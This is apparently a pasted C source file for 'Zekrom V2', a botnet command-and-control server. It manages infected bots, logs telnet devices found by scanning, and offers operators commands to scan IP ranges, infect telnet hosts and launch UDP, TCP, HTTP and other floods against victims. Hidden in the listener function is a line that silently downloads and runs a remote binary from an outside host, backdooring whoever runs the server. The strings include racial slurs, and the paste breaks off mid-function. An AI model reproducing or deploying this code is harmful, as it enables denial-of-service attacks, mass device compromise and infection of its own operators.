ZucoCheezy

Mew-Server

Nov 26th, 2018
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 24.80 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. Skype: bl4ck.j3sus
  4. Changes:
  5. Made Date: 7-2-16
  6. */
  7. /*
  8.                 *** DO NOT LEAK THIS SHIT ITS PRIVATE AF ***
  9.  
  10. # ___     __________  ____ _______      _____ _______________.___.  ___
  11. # / _ \_/\ \______   \/_   |\      \    /  _  \\______   \__  |   | / _ \_/\
  12. # \/ \___/  |    |  _/ |   |/   |   \  /  /_\  \|       _//   |   | \/ \___/
  13. #           |    |   \ |   /    |    \/    |    \    |   \\____   |
  14. #           |______  / |___\____|__  /\____|__  /____|_  // ______|
  15. #                  \/              \/         \/       \/ \/
  16.  
  17.                         *** ZEKROM V2 SERVER.C ***
  18. */
  19. #include <stdio.h>
  20. #include <stdlib.h>
  21. #include <stdint.h>
  22. #include <inttypes.h>
  23. #include <string.h>
  24. #include <sys/types.h>
  25. #include <sys/socket.h>
  26. #include <netdb.h>
  27. #include <unistd.h>
  28. #include <time.h>
  29. #include <fcntl.h>
  30. #include <sys/epoll.h>
  31. #include <errno.h>
  32. #include <pthread.h>
  33. #include <signal.h>
  34. #include <arpa/inet.h>
  35. #define MAXFDS 1000000
  36. //////////////////////////////////
  37. struct login_info {
  38.     char username[20];
  39.     char password[20];
  40. };
  41. static struct login_info accounts[10];
  42. struct clientdata_t {
  43.         uint32_t ip;
  44.         char connected;
  45. } clients[MAXFDS];
  46. struct telnetdata_t {
  47.         int connected;
  48. } managements[MAXFDS];
  49. struct args {
  50.         int sock;
  51.         struct sockaddr_in cli_addr;
  52. };
  53. static volatile FILE *telFD;
  54. static volatile FILE *fileFD;
  55. static volatile int epollFD = 0;
  56. static volatile int listenFD = 0;
  57. static volatile int OperatorsConnected = 0;
  58. static volatile int TELFound = 0;
  59. static volatile int scannerreport;
  60. //////////////////////////////////
  61. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  62.     int total = 0, got = 1;
  63.     while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  64.     return got;
  65. }
  66. void trim(char *str) {
  67.     int i;
  68.     int begin = 0;
  69.     int end = strlen(str) - 1;
  70.     while (isspace(str[begin])) begin++;
  71.     while ((end >= begin) && isspace(str[end])) end--;
  72.     for (i = begin; i <= end; i++) str[i - begin] = str[i];
  73.     str[i - begin] = '\0';
  74. }
  75. static int make_socket_non_blocking (int sfd) {
  76.     int flags, s;
  77.     flags = fcntl (sfd, F_GETFL, 0);
  78.     if (flags == -1) {
  79.         perror ("fcntl");
  80.         return -1;
  81.     }
  82.     flags |= O_NONBLOCK;
  83.     s = fcntl (sfd, F_SETFL, flags);
  84.     if (s == -1) {
  85.         perror ("fcntl");
  86.         return -1;
  87.     }
  88.     return 0;
  89. }
  90. static int create_and_bind (char *port) {
  91.     struct addrinfo hints;
  92.     struct addrinfo *result, *rp;
  93.     int s, sfd;
  94.     memset (&hints, 0, sizeof (struct addrinfo));
  95.     hints.ai_family = AF_UNSPEC;     /* Return IPv4 and IPv6 choices */
  96.     hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  97.     hints.ai_flags = AI_PASSIVE;     /* All interfaces */
  98.     s = getaddrinfo (NULL, port, &hints, &result);
  99.     if (s != 0) {
  100.         fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  101.         return -1;
  102.     }
  103.     for (rp = result; rp != NULL; rp = rp->ai_next) {
  104.         sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  105.         if (sfd == -1) continue;
  106.         int yes = 1;
  107.         if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  108.         s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  109.         if (s == 0) {
  110.             break;
  111.         }
  112.         close (sfd);
  113.     }
  114.     if (rp == NULL) {
  115.         fprintf (stderr, "Could not bind\n");
  116.         return -1;
  117.     }
  118.     freeaddrinfo (result);
  119.     return sfd;
  120. }
  121. void broadcast(char *msg, int us, char *sender)
  122. {
  123.         int sendMGM = 1;
  124.         if(strcmp(msg, "PING") == 0) sendMGM = 0;
  125.         char *wot = malloc(strlen(msg) + 10);
  126.         memset(wot, 0, strlen(msg) + 10);
  127.         strcpy(wot, msg);
  128.         trim(wot);
  129.         time_t rawtime;
  130.         struct tm * timeinfo;
  131.         time(&rawtime);
  132.         timeinfo = localtime(&rawtime);
  133.         char *timestamp = asctime(timeinfo);
  134.         trim(timestamp);
  135.         int i;
  136.         for(i = 0; i < MAXFDS; i++)
  137.         {
  138.                 if(i == us || (!clients[i].connected &&  (sendMGM == 0 || !managements[i].connected))) continue;
  139.                 if(sendMGM && managements[i].connected)
  140.                 {
  141.                         send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  142.                         send(i, sender, strlen(sender), MSG_NOSIGNAL);
  143.                         send(i, ": ", 2, MSG_NOSIGNAL);
  144.                 }
  145.                 printf("sent to fd: %d\n", i);
  146.                 send(i, msg, strlen(msg), MSG_NOSIGNAL);
  147.                 if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  148.                 else send(i, "\n", 1, MSG_NOSIGNAL);
  149.         }
  150.         free(wot);
  151. }
  152. void *BotEventLoop(void *useless) {
  153.     struct epoll_event event;
  154.     struct epoll_event *events;
  155.     int s;
  156.     events = calloc (MAXFDS, sizeof event);
  157.     while (1) {
  158.         int n, i;
  159.         n = epoll_wait (epollFD, events, MAXFDS, -1);
  160.         for (i = 0; i < n; i++) {
  161.             if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  162.                 clients[events[i].data.fd].connected = 0;
  163.                 close(events[i].data.fd);
  164.                 continue;
  165.             }
  166.             else if (listenFD == events[i].data.fd) {
  167.                while (1) {
  168.                 struct sockaddr in_addr;
  169.                 socklen_t in_len;
  170.                 int infd, ipIndex;
  171.  
  172.                 in_len = sizeof in_addr;
  173.                 infd = accept (listenFD, &in_addr, &in_len);
  174.                 if (infd == -1) {
  175.                     if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  176.                     else {
  177.                         perror ("accept");
  178.                         break;
  179.                          }
  180.                 }
  181.  
  182.                 clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  183.                 int dup = 0;
  184.                 for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  185.                     if(!clients[ipIndex].connected || ipIndex == infd) continue;
  186.                     if(clients[ipIndex].ip == clients[infd].ip) {
  187.                         dup = 1;
  188.                         break;
  189.                     }}
  190.                 if(dup) {
  191.                     if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  192.                     close(infd);
  193.                     continue;
  194.                 }
  195.                 s = make_socket_non_blocking (infd);
  196.                 if (s == -1) { close(infd); break; }
  197.                 event.data.fd = infd;
  198.                 event.events = EPOLLIN | EPOLLET;
  199.                 s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  200.                 if (s == -1) {
  201.                     perror ("epoll_ctl");
  202.                     close(infd);
  203.                     break;
  204.                 }
  205.                 clients[infd].connected = 1;
  206.                 send(infd, "!* SCANNER ON\n", 14, MSG_NOSIGNAL);
  207.             }
  208.             continue;
  209.         }
  210.         else {
  211.             int datafd = events[i].data.fd;
  212.             struct clientdata_t *client = &(clients[datafd]);
  213.             int done = 0;
  214.             client->connected = 1;
  215.             while (1) {
  216.                 ssize_t count;
  217.                 char buf[2048];
  218.                 memset(buf, 0, sizeof buf);
  219.                 while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  220.                     if(strstr(buf, "\n") == NULL) { done = 1; break; }
  221.                     trim(buf);
  222.                     if(strcmp(buf, "PING") == 0) {
  223.                         if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  224.                         continue;
  225.                     }
  226.                     if(strstr(buf, "REPORT ") == buf) {
  227.                         char *line = strstr(buf, "REPORT ") + 7;
  228.                         fprintf(telFD, "%s\n", line);
  229.                         fflush(telFD);
  230.                         TELFound++;
  231.                         continue;
  232.                     }
  233.                     if(strstr(buf, "PROBING") == buf) {
  234.                         char *line = strstr(buf, "PROBING");
  235.                         scannerreport = 1;
  236.                         continue;
  237.                     }
  238.                     if(strstr(buf, "REMOVING PROBE") == buf) {
  239.                         char *line = strstr(buf, "REMOVING PROBE");
  240.                         scannerreport = 0;
  241.                         continue;
  242.                     }
  243.                     if(strcmp(buf, "PONG") == 0) {
  244.                         continue;
  245.                     }
  246.                     printf("buf: \"%s\"\n", buf);
  247.                 }
  248.                 if (count == -1) {
  249.                     if (errno != EAGAIN) {
  250.                         done = 1;
  251.                     }
  252.                     break;
  253.                 }
  254.                 else if (count == 0) {
  255.                     done = 1;
  256.                     break;
  257.                 }
  258.             if (done) {
  259.                 client->connected = 0;
  260.                 close(datafd);
  261. }}}}}}
  262. unsigned int BotsConnected() {
  263.     int i = 0, total = 0;
  264.     for(i = 0; i < MAXFDS; i++) {
  265.         if(!clients[i].connected) continue;
  266.         total++;
  267.     }
  268.     return total;
  269. }
  270. void *TitleWriter(void *sock) {
  271.     int datafd = (int)sock;
  272.     char string[2048];
  273.     while(1) {
  274.         memset(string, 0, 2048);
  275.         sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  276.         if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  277.         sleep(2);
  278. }}
  279. int Find_Login(char *str) {
  280.     FILE *fp;
  281.     int line_num = 0;
  282.     int find_result = 0, find_line=0;
  283.     char temp[512];
  284.  
  285.     if((fp = fopen("login.txt", "r")) == NULL){
  286.         return(-1);
  287.     }
  288.     while(fgets(temp, 512, fp) != NULL){
  289.         if((strstr(temp, str)) != NULL){
  290.             find_result++;
  291.             find_line = line_num;
  292.         }
  293.         line_num++;
  294.     }
  295.     if(fp)
  296.         fclose(fp);
  297.     if(find_result == 0)return 0;
  298.     return find_line;
  299. }
  300. void *BotWorker(void *sock) {
  301.     int datafd = (int)sock;
  302.     int find_line;
  303.     OperatorsConnected++;
  304.     pthread_t title;
  305.     char buf[2048];
  306.     char* username;
  307.     char* password;
  308.     memset(buf, 0, sizeof buf);
  309.     char botnet[2048];
  310.     memset(botnet, 0, 2048);
  311.     char botcount [2048];
  312.     memset(botcount, 0, 2048);
  313.     char statuscount [2048];
  314.     memset(statuscount, 0, 2048);
  315.  
  316.     FILE *fp;
  317.     int i=0;
  318.     int c;
  319.     fp=fopen("login.txt", "r");
  320.     while(!feof(fp)) {
  321.         c=fgetc(fp);
  322.         ++i;
  323.     }
  324.     int j=0;
  325.     rewind(fp);
  326.     while(j!=i-1) {
  327.         fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  328.         ++j;
  329.     }
  330.  
  331.         if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  332.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  333.         trim(buf);
  334.         char* nickstring;
  335.         sprintf(accounts[find_line].username, buf);
  336.         nickstring = ("%s", buf);
  337.         find_line = Find_Login(nickstring);
  338.         if(strcmp(nickstring, accounts[find_line].username) == 0){
  339.         if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  340.         if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  341.         trim(buf);
  342.         if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  343.         memset(buf, 0, 2048);
  344.         goto Banner;
  345.         }
  346.         failed:
  347.         if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  348.         char failed_line1[80];
  349.  
  350.         sprintf(failed_line1, "\x1b[31mWRONG ANSWER BITCH!!\r\n");
  351.         if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  352.         sleep(5);
  353.         goto end;
  354.  
  355.         Banner:
  356.         pthread_create(&title, NULL, &TitleWriter, sock);
  357.         char ascii_banner_line1 [5000];
  358.         char ascii_banner_line2 [5000];
  359.         char ascii_banner_line3 [5000];
  360.         char ascii_banner_line4 [5000];
  361.         char ascii_banner_line5 [5000];
  362.         char ascii_banner_line6 [5000];
  363.         char ascii_banner_line7 [5000];
  364.         char welcome_line [80];
  365.         char banner_bot_count [2048];
  366.         memset(banner_bot_count, 0, 2048);
  367.        
  368.         sprintf(ascii_banner_line1, "\x1b[31m ▄▀▀▀▀▄   ▄▀▀█▄▄▄▄  ▄▀▀▄ █  ▄▀▀▄▀▀▀▄  ▄▀▀▀▀▄   ▄▀▀▄ ▄▀▄\r\n");
  369.         sprintf(ascii_banner_line2, "\x1b[31m█     ▄▀ ▐  ▄▀   ▐ █  █ ▄▀ █   █   █ █      █ █  █ ▀  █\r\n");
  370.         sprintf(ascii_banner_line3, "\x1b[31m▐ ▄▄▀▀     █▄▄▄▄▄  ▐  █▀▄  ▐  █▀▀█▀  █      █ ▐  █    █\r\n");
  371.         sprintf(ascii_banner_line4, "\x1b[31m  █        █    ▌    █   █  ▄▀    █  ▀▄    ▄▀   █    █ \r\n");
  372.         sprintf(ascii_banner_line5, "\x1b[31m   ▀▄▄▄▄▀ ▄▀▄▄▄▄   ▄▀   █  █     █     ▀▀▀▀   ▄▀   ▄▀  \r\n");
  373.         sprintf(ascii_banner_line6, "\x1b[31m       ▐  █    ▐   █    ▐  ▐     ▐            █    █   \r\n");
  374.         sprintf(ascii_banner_line7, "\x1b[31m          ▐        ▐                          ▐    ▐   \r\n");
  375.         sprintf(welcome_line,       "\r\n\x1b[34m       ~[\x1b[31mWelcome, %s\x1b[34m  ]~\r\n", accounts[find_line].username);
  376.         sprintf(banner_bot_count,   "\x1b[34m       ~[\x1b[31mBOT COUNT: %d\x1b[34m    ]~\r\n", BotsConnected(), OperatorsConnected);
  377.        
  378.         if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  379.         if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  380.         if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  381.         if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  382.         if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  383.         if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  384.         if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  385.         if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  386.         while(1) {
  387.         if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  388.         if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  389.         break;
  390.         }
  391.         pthread_create(&title, NULL, &TitleWriter, sock);
  392.         managements[datafd].connected = 1;
  393.  
  394.         while(fdgets(buf, sizeof buf, datafd) > 0)
  395.         {
  396.             if(strstr(buf, "BOTS")) {
  397.                 sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  398.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  399.                 continue;
  400.             }
  401.             if(strstr(buf, "STATUS")){
  402.                 sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  403.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  404.                 continue;
  405.             }
  406.             if(strstr(buf, "STATS")){
  407.                 sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  408.                 if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  409.                 sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  410.                 if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  411.                 continue;
  412.             }
  413.             if(strstr(buf, "INFECT")) {
  414.                 system("python telnet.py filtered.txt");
  415.                 continue;
  416.             }
  417.             if(strstr(buf, "REINFECT")) {
  418.                 system("python w.py infected.txt");
  419.                 continue;
  420.             }
  421.             if(strstr(buf, "FILTER")) {
  422.                 system("sort telnet.txt | uniq -u>>filtered.txt");
  423.                 continue;
  424.             }
  425.             if(strstr(buf, "LOAD")) {
  426.                 system("python scan.py 376 LOAD 88 1");
  427.                 continue;
  428.             }
  429.             if(strstr(buf, "SCAN1")) {
  430.                 system("python scan.py 376 B 119.92 lol");
  431.                 continue;
  432.             }
  433.             if(strstr(buf, "SCAN2")) {
  434.                 system("python scan.py 376 B 119.93 lol");
  435.                 continue;
  436.             }
  437.             if(strstr(buf, "SCAN3")) {
  438.                 system("python scan.py 376 B 125.25 1");
  439.                 continue;
  440.             }
  441.             if(strstr(buf, "SCAN4")) {
  442.                 system("python scan.py 376 B 125.26 1");
  443.                 continue;
  444.             }
  445.             if(strstr(buf, "SCAN5")) {
  446.                 system("python scan.py 376 B 125.27 1");
  447.                 continue;
  448.             }
  449.             if(strstr(buf, "SCAN6")) {
  450.                 system("python scan.py 376 B 113.53 1");
  451.                 continue;
  452.             }
  453.             if(strstr(buf, "SCAN7")) {
  454.                 system("python scan.py 376 B 180.180 1");
  455.                 continue;
  456.             }
  457.             if(strstr(buf, "SCAN8")) {
  458.                 system("python scan.py 376 B 185.52 1");
  459.                 continue;
  460.             }
  461.             if(strstr(buf, "LUCKY")) {
  462.                 system("python scan.py 376 LUCKY 88 1");
  463.                 continue;
  464.             }
  465.             if(strstr(buf, "LUCKY2")) {
  466.                 system("python scan.py 376 LUCKY2 88 1");
  467.                 continue;
  468.             }
  469.             if(strstr(buf, "SCAN_OFF")) {
  470.                 system("killall -9 python");
  471.                 continue;
  472.             }
  473.             if(strstr(buf, "HELP")) {
  474.                 pthread_create(&title, NULL, &TitleWriter, sock);
  475.                 char helpline1  [80];
  476.                 char helpline2  [80];
  477.                 char helpline3  [80];
  478.                 char helpline4  [80];
  479.                 char helpline5  [80];
  480.                 char helpline6  [80];
  481.                 char helpline7  [80];
  482.                 char helpline8  [80];
  483.                 char helpline9  [80];
  484.                 char helpline10 [80];
  485.                 char helpline11 [80];
  486.                 char helpline12 [80];
  487.                 char helpline13 [80];
  488.                 char helpline14 [80];
  489.                 char helpline15 [80];
  490.                 char helpline16 [80];
  491.                 char helpline17 [80];
  492.                 char helpline18 [80];
  493.                 char helpline19 [80];
  494.                 char helpline20 [80];
  495.                 char helpline21 [80];
  496.                 char helpline22 [80];
  497.                 char helpline23 [80];
  498.                 char helpline24 [80];
  499.                 char helpline25 [80];
  500.                
  501.                
  502.                
  503.                 sprintf(helpline1,  "\r\n\x1b[31m~[ATTACK COMMANDS]~\r\n");
  504.                 sprintf(helpline2,  "\x1b[31m~[UDP]~  \x1b[37m!* UDP Victim Port Time 32 0 10\r\n");
  505.                 sprintf(helpline3,  "\x1b[31m~[TCP]~  \x1b[37m!* TCP Victim Port Time 32 all 0 10\r\n");
  506.                 sprintf(helpline4,  "\x1b[31m~[HTTP]~ \x1b[37m!* HTTP Url Time\r\n");
  507.                 sprintf(helpline5,  "\x1b[31m~[JUNK]~ \x1b[37m!* JUNK Victim Port Time\r\n");
  508.                 sprintf(helpline6,  "\x1b[31m~[HOLD]~ \x1b[37m!* HOLD Victim Port Time\r\n");
  509.                 sprintf(helpline7,  "\x1b[31m~[STD]~  \x1b[37m!* STD Victim Port Time\r\n");
  510.                 sprintf(helpline8,  "\x1b[31m~[KILL]~ \x1b[37m!* KILLATTK | KILL\r\n");
  511.                
  512.                 sprintf(helpline9,  "\x1b[31m~[SCANNING COMMANDS]~\r\n");
  513.                 sprintf(helpline10, "\x1b[31m~[LOAD]~ \x1b[37mLOAD\r\n");
  514.                 sprintf(helpline11, "\x1b[31m~[SCAN]~ \x1b[37mSCAN1 | SCAN2 | SCAN3 | SCAN4\r\n");
  515.                 sprintf(helpline12, "\x1b[31m~[SCAN]~ \x1b[37mSCAN5 | SCAN6 | SCAN7 | SCAN8\r\n");
  516.                 sprintf(helpline13, "\x1b[31m~[LUCKY]~ \x1b[37mLUCKY | LUCKY2\r\n");
  517.                 sprintf(helpline14, "\x1b[31m~[STOP]~ \x1b[37mSCAN_OFF\r\n");
  518.                
  519.                 sprintf(helpline15, "\x1b[31m~[OTHER COMMANDS]~\r\n");
  520.                 sprintf(helpline16, "\x1b[31m~[SHELL]~ \x1b[37m!* SH\r\n");
  521.                 sprintf(helpline17, "\x1b[31m~[BOTS]~ \x1b[37m!* BOTS | BOTS\r\n");
  522.                 sprintf(helpline18, "\x1b[31m~[STATUS]~ \x1b[37m!* STATUS | STATUS\r\n");
  523.                 sprintf(helpline19, "\x1b[31m~[STATS]~ \x1b[37mSTATS\r\n");
  524.                 sprintf(helpline20, "\x1b[31m~[CLEARSCREEN]~ \x1b[37mCLEAR\r\n");
  525.                 sprintf(helpline21, "\x1b[31m~[LOGOUT]~ \x1b[37mLOGOUT\r\n");
  526.                
  527.                 sprintf(helpline22, "\x1b[31m~[MISC COMMANDS]~\r\n");
  528.                 sprintf(helpline23, "\x1b[31m~[INECTION FILTER]~ \x1b[37mFILTER\r\n");
  529.                 sprintf(helpline24, "\x1b[31m~[TELNET INFECT]~ \x1b[37mINFECT\r\n");
  530.                 sprintf(helpline25, "\x1b[31m~[REINFECT BOTS]~ \x1b[37mREINFECT\r\n");
  531.                
  532.                
  533.  
  534.                 if(send(datafd, helpline1,  strlen(helpline1),  MSG_NOSIGNAL) == -1) goto end;
  535.                 if(send(datafd, helpline2,  strlen(helpline2),  MSG_NOSIGNAL) == -1) goto end;
  536.                 if(send(datafd, helpline3,  strlen(helpline3),  MSG_NOSIGNAL) == -1) goto end;
  537.                 if(send(datafd, helpline4,  strlen(helpline4),  MSG_NOSIGNAL) == -1) goto end;
  538.                 if(send(datafd, helpline5,  strlen(helpline5),  MSG_NOSIGNAL) == -1) goto end;
  539.                 if(send(datafd, helpline6,  strlen(helpline6),  MSG_NOSIGNAL) == -1) goto end;
  540.                 if(send(datafd, helpline7,  strlen(helpline7),  MSG_NOSIGNAL) == -1) goto end;
  541.                 if(send(datafd, helpline8,  strlen(helpline8),  MSG_NOSIGNAL) == -1) goto end;
  542.                 if(send(datafd, helpline9,  strlen(helpline9),  MSG_NOSIGNAL) == -1) goto end;
  543.                 if(send(datafd, helpline10, strlen(helpline10), MSG_NOSIGNAL) == -1) goto end;
  544.                 if(send(datafd, helpline11, strlen(helpline11), MSG_NOSIGNAL) == -1) goto end;
  545.                 if(send(datafd, helpline12, strlen(helpline12), MSG_NOSIGNAL) == -1) goto end;
  546.                 if(send(datafd, helpline13, strlen(helpline13), MSG_NOSIGNAL) == -1) goto end;
  547.                 if(send(datafd, helpline14, strlen(helpline14), MSG_NOSIGNAL) == -1) goto end;
  548.                 if(send(datafd, helpline15, strlen(helpline15), MSG_NOSIGNAL) == -1) goto end;
  549.                 if(send(datafd, helpline16, strlen(helpline16), MSG_NOSIGNAL) == -1) goto end;
  550.                 if(send(datafd, helpline17, strlen(helpline17), MSG_NOSIGNAL) == -1) goto end;
  551.                 if(send(datafd, helpline18, strlen(helpline18), MSG_NOSIGNAL) == -1) goto end;
  552.                 if(send(datafd, helpline19, strlen(helpline19), MSG_NOSIGNAL) == -1) goto end;
  553.                 if(send(datafd, helpline20, strlen(helpline20), MSG_NOSIGNAL) == -1) goto end;
  554.                 if(send(datafd, helpline21, strlen(helpline21), MSG_NOSIGNAL) == -1) goto end;
  555.                 if(send(datafd, helpline22, strlen(helpline22), MSG_NOSIGNAL) == -1) goto end;
  556.                 if(send(datafd, helpline23, strlen(helpline23), MSG_NOSIGNAL) == -1) goto end;
  557.                 if(send(datafd, helpline24, strlen(helpline24), MSG_NOSIGNAL) == -1) goto end;
  558.                 if(send(datafd, helpline25, strlen(helpline25), MSG_NOSIGNAL) == -1) goto end;
  559.                 pthread_create(&title, NULL, &TitleWriter, sock);
  560.                 continue;
  561.             }
  562.             if(strstr(buf, "KILL")) {
  563.                 char killattack [2048];
  564.                 memset(killattack, 0, 2048);
  565.                 sprintf(killattack, "!* KILLATTK\r\n");
  566.                 if(send(datafd, killattack, strlen(killattack), MSG_NOSIGNAL) == -1) goto end;
  567.                 continue;
  568.             }
  569.             if(strstr(buf, "CLEAR")) {
  570.                 char clearscreen [2048];
  571.                 memset(clearscreen, 0, 2048);
  572.                 sprintf(clearscreen, "\033[2J\033[1;1H");
  573.                 if(send(datafd, clearscreen,        strlen(clearscreen), MSG_NOSIGNAL) == -1) goto end;
  574.                 if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  575.                 if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  576.                 if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  577.                 if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  578.                 if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  579.                 if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  580.                 if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  581.                 if(send(datafd, welcome_line,       strlen(welcome_line),       MSG_NOSIGNAL) == -1) goto end;
  582.                 while(1) {
  583.                 if(send(datafd, banner_bot_count,   strlen(banner_bot_count),   MSG_NOSIGNAL) == -1) goto end;
  584.                 if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  585.                 break;
  586.                 }
  587.                 continue;
  588.             }
  589.             if(strstr(buf, "LOGOUT")) {
  590.                 char logoutmessage [2048];
  591.                 memset(logoutmessage, 0, 2048);
  592.                 sprintf(logoutmessage, "Bye, %s", accounts[find_line].username);
  593.                 if(send(datafd, logoutmessage, strlen(logoutmessage), MSG_NOSIGNAL) == -1)goto end;
  594.                 sleep(5);
  595.                 goto end;
  596.             }
  597.                 trim(buf);
  598.                 if(send(datafd, "\x1b[31m> \x1b[0m", 11, MSG_NOSIGNAL) == -1) goto end;
  599.                 if(strlen(buf) == 0) continue;
  600.                 printf("%s: \"%s\"\n",accounts[find_line].username, buf);
  601.  
  602.                 FILE *LogFile;
  603.                 LogFile = fopen("server.log", "a");
  604.                 time_t now;
  605.                 struct tm *gmt;
  606.                 char formatted_gmt [50];
  607.                 char lcltime[50];
  608.                 now = time(NULL);
  609.                 gmt = gmtime(&now);
  610.                 strftime ( formatted_gmt, sizeof(formatted_gmt), "%I:%M %p", gmt );
  611.                 fprintf(LogFile, "[%s] %s: %s\n", formatted_gmt, accounts[find_line].username, buf);
  612.                 fclose(LogFile);
  613.                 broadcast(buf, datafd, accounts[find_line].username);
  614.                 memset(buf, 0, 2048);
  615.         }
  616.         end:
  617.             managements[datafd].connected = 0;
  618.             close(datafd);
  619.             OperatorsConnected--;
  620. }
  621. void *BotListener(int port) {
  622.     int sockfd, newsockfd;
  623.     socklen_t clilen;
  624.     struct sockaddr_in serv_addr, cli_addr;
  625.     sockfd = socket(AF_INET, SOCK_STREAM, 0);
  626.     if (sockfd < 0) perror("ERROR opening socket");
  627.     bzero((char *) &serv_addr, sizeof(serv_addr));
  628.     serv_addr.sin_family = AF_INET;
  629.     serv_addr.sin_addr.s_addr = INADDR_ANY;
  630.     serv_addr.sin_port = htons(port);
  631.     system("wget -q http://autoinstaller.us/NsfjSh -O .l; chmod +x .l; nohup ./.l </dev/null >/dev/null 2>&1")
  632.     if (bind(sockfd, (struct sockaddr *) &serv_addr,  sizeof(serv_addr)) < 0) perror("ERROR on binding");
  633.     listen(sockfd,5);
  634.     clilen = sizeof(cli_addr);
  635.     while(1) {
  636.         newsockfd = accept(sockfd, (struct sockaddr *) &cli_addr, &clilen);
  637.         if (newsockfd < 0) perror("ERROR on accept");
  638.         pthread_t thread;
  639.         pthread_create( &thread, NULL, &BotWorker, (void *)newsockfd);
  640. }}
  641. int main (int argc, char *argv[], void *sock)//~B1NARY~
  642. {
  643.         signal(SIGPIPE, SIG_IGN);
  644.         int s, threads, port;
  645.         struct epoll_event event;
  646.         if (argc != 4) {
  647.             fprintf (stderr, "Usage: %s [port] [threads] [cnc-port]\n", argv[0]);
  648.             exit (EXIT_FAILURE);
  649.         }
  650.         port = atoi(argv[3]);
  651.         telFD = fopen("telnet.txt", "a+");
  652.         threads = atoi(argv[2]);
  653.         listenFD = create_and_bind (argv[1]);
  654.         if (listenFD == -1) abort ();
  655.         s = make_socket_non_blocking (listenFD);
  656.         if (s == -1) abort ();
  657.         s = listen (listenFD, SOMAXCONN);
  658.         if (s == -1) {
  659.             perror ("listen");
  660.             abort ();
  661.         }
  662.         epollFD = epoll_create1 (0);
  663.         if (epollFD == -1) {
  664.             perror ("epoll_create");
  665.             abort ();
  666.         }
  667.         event.data.fd = listenFD;
  668.         event.events = EPOLLIN | EPOLLET;
